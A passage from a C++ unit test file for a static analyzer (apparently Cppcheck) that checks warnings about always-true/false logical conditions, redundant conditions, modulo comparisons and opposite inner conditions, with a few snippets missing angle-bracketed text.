errout_str());\n }\n\n void incorrectLogicOperator4() {\n check(\"#define ZERO 0\\n\"\n \"void f(int x) {\\n\"\n \" if (x && x != ZERO) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int N) {\\n\" // #9789\n \" T a[20] = { 0 };\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (0 < a[i] && a[i] < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator5() { // complex expressions\n check(\"void f(int x) {\\n\"\n \" if (x+3 > 2 || x+3 < 10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x+3 > 2 || x+3 < 10. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator6() { // char literals\n check(\"void f(char x) {\\n\"\n \" if (x == '1' || x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char x) {\\n\"\n \" if (x == '1' && x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == '1' && x == '2'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c >= 'a' && c <= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning, inconclusive) Logical conjunction always evaluates to false: c <= 'a' && c >= 'z'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:2:25]: (style) Return value 'c>='z'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator7() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (i || !i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Logical disjunction always evaluates to true: i || !(i). [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a<=b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical disjunction always evaluates to true: a > b || a <= b. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a T icdf( const T uniform ) {\\n\"\n \" if ((0 -1.0 - 1.0e-12))\\n\"\n \" return;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator8() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (!(i!=10) && !(i!=20)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: !(i != 10) && !(i != 20). [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator9() { // #6069 \"False positive incorrectLogicOperator due to dynamic_cast\"\n check(\"class MyType;\\n\"\n \"class OtherType;\\n\"\n \"void foo (OtherType* obj) {\\n\"\n \" assert((!obj) || dynamic_cast(obj));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator10() { // #7794 - enum\n check(\"typedef enum { A, B } Type_t;\\n\"\n \"void f(Type_t t) {\\n\"\n \" if ((t == A) && (t == B))\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: t == 0 && t == 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator11() {\n check(\"void foo(int i, const int n) { if ( i < n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i < n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i > n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i > n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i > n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i > n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i < n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i < n. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator12() { // #8696\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:6:9] -> [test.cpp:8:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" const A x = b;\\n\"\n \" const A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:3:15] -> [test.cpp:5:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:18]: (style) Condition 'a x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" const A x = a;\\n\"\n \" const A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:18]: (style) Condition 'a [test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: v == 1 && x == 2. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f2(const int *v) {\\n\"\n \" const int *x=v;\\n\"\n \" if ((*v == 1) && (*x == 2)) {;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:19]: (warning) Logical conjunction always evaluates to false: *(v) == 1 && *(x) == 2. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator14() {\n check(\"static const std ::string h;\\n\"\n \"class i {\\n\"\n \"public:\\n\"\n \" struct j {\\n\"\n \" std ::string k;\\n\"\n \" std ::string l;\\n\"\n \" };\\n\"\n \" struct a {\\n\"\n \" enum { m = 1 };\\n\"\n \" };\\n\"\n \"} b;\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"}\\n\"\n \"struct o {\\n\"\n \" enum { p, d, q, r };\\n\"\n \" enum { e, f };\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class j {\\n\"\n \" public:\\n\"\n \" class s {\\n\"\n \" std ::string a;\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"namespace aa {\\n\"\n \"class d {\\n\"\n \"public:\\n\"\n \" char t;\\n\"\n \" enum {} u;\\n\"\n \"};\\n\"\n \"} // namespace aa\\n\"\n \"namespace aa {\\n\"\n \"struct e {};\\n\"\n \"} // namespace aa\\n\"\n \"class a;\\n\"\n \"class w {\\n\"\n \"public:\\n\"\n \" enum { x };\\n\"\n \" struct {\\n\"\n \" } y;\\n\"\n \" std ::string z;\\n\"\n \"};\\n\"\n \"class ab {\\n\"\n \" friend class c;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class ac {\\n\"\n \" void e(const ac &v) const;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class f;\\n\"\n \"class ad {\\n\"\n \" friend class e;\\n\"\n \" enum { e, ae, ag, ah, ai, aj, ak, a, b };\\n\"\n \" class c {};\\n\"\n \" class d {\\n\"\n \" enum am { f, an, ao, ap, aq, ar, b, as, at, c, au };\\n\"\n \" enum av { aw, ax, ay, az, e, ba, bb, bc, bd, a };\\n\"\n \" struct b {\\n\"\n \" am action;\\n\"\n \" av c;\\n\"\n \" };\\n\"\n \" };\\n\"\n \" class e {\\n\"\n \" public:\\n\"\n \" std ::string e;\\n\"\n \" class f {\\n\"\n \" } f;\\n\"\n \" class be {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \" std ::vector bf;\\n\"\n \" enum { bg, b } c;\\n\"\n \" };\\n\"\n \" struct bh {\\n\"\n \" std ::map b;\\n\"\n \" };\\n\"\n \" std ::map bi;\\n\"\n \" struct {\\n\"\n \" int b;\\n\"\n \" char bj;\\n\"\n \" } bk;\\n\"\n \" class a {\\n\"\n \" public:\\n\"\n \" std ::set b;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class bl;\\n\"\n \"class al;\\n\"\n \"class bm;\\n\"\n \"class f;\\n\"\n \"class b;\\n\"\n \"class bn;\\n\"\n \"namespace bo {\\n\"\n \"class bp {\\n\"\n \"public:\\n\"\n \" typedef std ::pair bq;\\n\"\n \" typedef std ::list br;\\n\"\n \"};\\n\"\n \"const bo ::bp *dg(const f *a, const al *b);\\n\"\n \"} // namespace bo\\n\"\n \"const bn *dh(const f *d, bo ::bp ::br &bs);\\n\"\n \"class f {\\n\"\n \"public:\\n\"\n \" struct bt {};\\n\"\n \" std ::vector f;\\n\"\n \"};\\n\"\n \"class bu;\\n\"\n \"class a;\\n\"\n \"class c;\\n\"\n \"struct bv {};\\n\"\n \"class af {\\n\"\n \"private:\\n\"\n \"public:\\n\"\n \" enum { b, d, e, f, c, bw };\\n\"\n \" void a(int c);\\n\"\n \" af *bx() const;\\n\"\n \"};\\n\"\n \"namespace by {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"class b {\\n\"\n \"public:\\n\"\n \" bool d, c;\\n\"\n \"};\\n\"\n \"class bz;\\n\"\n \"class f;\\n\"\n \"class ca {\\n\"\n \" friend class b;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" const bm *cb() const { return cc; }\\n\"\n \" f *d(f *e, bool f) const;\\n\"\n \" int e() { return ++cd; }\\n\"\n \" bl *const c;\\n\"\n \" bm *cc;\\n\"\n \" std ::map ce;\\n\"\n \" int cd;\\n\"\n \" bz *a;\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"class d;\\n\"\n \"} // namespace n\\n\"\n \"class cf {\\n\"\n \"public:\\n\"\n \" explicit cf(const std ::string &aname);\\n\"\n \" cf(const std ::string &aname, const ca *cg, const al *ch, bl *ci)\\n\"\n \" : cj(cg), ck(ch), cl(ci), cn(aname) {}\\n\"\n \"\\n\"\n \"protected:\\n\"\n \" const ca *const cj;\\n\"\n \" const al *const ck;\\n\"\n \" bl *const cl;\\n\"\n \" const std ::string cn;\\n\"\n \"};\\n\"\n \"class cm : public cf {\\n\"\n \"public:\\n\"\n \" void cp();\\n\"\n \" std ::string d() const;\\n\"\n \"};\\n\"\n \"struct co {\\n\"\n \" co();\\n\"\n \" const bu *a;\\n\"\n \" enum f {};\\n\"\n \" enum {\\n\"\n \" b = (1 << 0),\\n\"\n \" c = (1 << 1),\\n\"\n \" };\\n\"\n \" void d(bool e);\\n\"\n \"};\\n\"\n \"class bu {\\n\"\n \" friend class e;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" struct f {};\\n\"\n \" enum { d, cr, cq, ct, cs, e, a, b, c, dd, cu, cv, cw, cx, cy, cz, da };\\n\"\n \" const f *db;\\n\"\n \" const af *dc;\\n\"\n \"} f{};\\n\"\n \"class bm {\\n\"\n \"public:\\n\"\n \" std ::list df;\\n\"\n \" std ::vector de;\\n\"\n \" mutable std ::set f;\\n\"\n \"};\\n\"\n \"void cm ::cp() {\\n\"\n \" const bm *a = cj->cb();\\n\"\n \" for (const bu *b : a->de)\\n\"\n \" for (af *c = b->dc->bx();;) {\\n\"\n \" af *d = c;\\n\"\n \" af *e = c;\\n\"\n \" bool f(d);\\n\"\n \" bool g(e);\\n\"\n \" if (f && g)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:200:11] -> [test.cpp:200:16]: (style) Condition 'g' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator15() {\n // 10022\n check(\"struct PipeRoute {\\n\"\n \" std::deque points;\\n\"\n \" std::deque estimates;\\n\"\n \"};\\n\"\n \"void CleanPipeRoutes(std::map& pipeRoutes) {\\n\"\n \" for (auto it = pipeRoutes.begin(); it != pipeRoutes.end(); ) {\\n\"\n \" PipeRoute* curRoute = it->second;\\n\"\n \" if (curRoute->points.empty() && curRoute->estimates.size() != 2)\\n\"\n \" {\\n\"\n \" delete curRoute;\\n\"\n \" it = pipeRoutes.erase(it);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator16() { // #10070\n check(\"void foo(void* p) {\\n\"\n \" if (!p || p == -1) { }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator17() { // #12471\n check(\"struct R {\\n\"\n \" void set() { i = 1; }\\n\"\n \" int get() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct P {\\n\"\n \" void f();\\n\"\n \" R* r;\\n\"\n \"};\\n\"\n \"void P::f() {\\n\"\n \" int a = r->get();\\n\"\n \" r->set();\\n\"\n \" if (a == 0 && r->get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void secondAlwaysTrueFalseWhenFirstTrueError() {\n check(\"void f(void) {\\n\" // #8892\n \" const char c[1] = { \\'x\\' }; \\n\"\n \" if(c[0] == \\'x\\'){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'c[0]=='x'' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 1))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 3 || x == 4;\\n\"\n \" c = x < 5 || x == 4;\\n\"\n \" d = x >= 3 || x == 4;\\n\"\n \" e = x <= 5 || x == 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x > 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x >= 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x <= 5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 || x != 1;\\n\"\n \" c = x < 1 || x != 3;\\n\"\n \" d = x >= 5 || x != 1;\\n\"\n \" e = x <= 1 || x != 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x < 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x >= 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x <= 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 6 && x > 5;\\n\"\n \" c = x > 5 || x > 6;\\n\"\n \" d = x < 6 && x < 5;\\n\"\n \" e = x < 5 || x < 6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x > 6' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x > 6' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:15]: (style) Redundant condition: The condition 'x < 6' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:15]: (style) Redundant condition: The condition 'x < 5' is redundant since 'x < 6' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(double x, bool& b) {\\n\"\n \" b = x > 6.5 && x > 5.5;\\n\"\n \" c = x > 5.5 || x > 6.5;\\n\"\n \" d = x < 6.5 && x < 5.5;\\n\"\n \" e = x < 5.5 || x < 6.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x > 5.5' is redundant since 'x > 6.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:17]: (style) Redundant condition: The condition 'x > 6.5' is redundant since 'x > 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:17]: (style) Redundant condition: The condition 'x < 6.5' is redundant since 'x < 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:17]: (style) Redundant condition: The condition 'x < 5.5' is redundant since 'x < 6.5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(const char *p) {\\n\" // #10320\n \" if (!p || !*p || *p != 'x') {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Redundant condition: The condition '!*p' is redundant since '*p != 'x'' is sufficient. [redundantCondition]\\n\",\n errout_str());\n }\n\n void incorrectLogicOp_condSwapping() {\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void modulo() {\n check(\"bool f(bool& b1, bool& b2, bool& b3) {\\n\"\n \" b1 = a % 5 == 4;\\n\"\n \" b2 = a % c == 100000;\\n\"\n \" b3 = a % 5 == c;\\n\"\n \" return a % 5 == 5-p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool& b1, bool& b2, bool& b3, bool& b4, bool& b5) {\\n\"\n \" b1 = a % 5 < 5;\\n\"\n \" b2 = a % 5 <= 5;\\n\"\n \" b3 = a % 5 == 5;\\n\"\n \" b4 = a % 5 != 5;\\n\"\n \" b5 = a % 5 >= 5;\\n\"\n \" return a % 5 > 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:5:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:6:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:7:18]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(bool& b1, bool& b2) {\\n\"\n \" b1 = bar() % 5 < 889;\\n\"\n \" if(x[593] % 5 <= 5)\\n\"\n \" b2 = x.a % 5 == 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:20]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:19]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:22]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if (a % 2 + b % 2 == 2)\\n\"\n \" foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerCondition() {\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(a!=b)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"bool foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" return a!=b;\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:17]: (warning) Opposite inner 'return' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(b!=a)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a < 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #4186\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a > 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 4170\n check(\"class foo {\\n\"\n \" void bar() {\\n\"\n \" if (tok == '(') {\\n\"\n \" next();\\n\"\n \" if (tok == ',') {\\n\"\n \" next();\\n\"\n \" if (tok != ',') {\\n\"\n \" op->reg2 = asm_parse_reg();\\n\"\n \" }\\n\"\n \" skip(',');\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void next();\\n\"\n \" const char *tok;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i)\\n\"\n \"{\\n\"\n \" if(i > 5) {\\n\"\n \" i = bar();\\n\"\n \" if(i < 5) {\\n\"\n \" cout << a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i) {\\n\"\n \" i=6;\\n\"\n \"}\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(const int &i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:6:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class C { void f(int &i) const; };\\n\" // #7028 - variable is changed by const method\n \"void foo(C c, int i) {\\n\"\n \" if (i==5) {\\n\"\n \" c.f(i);\\n\"\n \" if (i != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 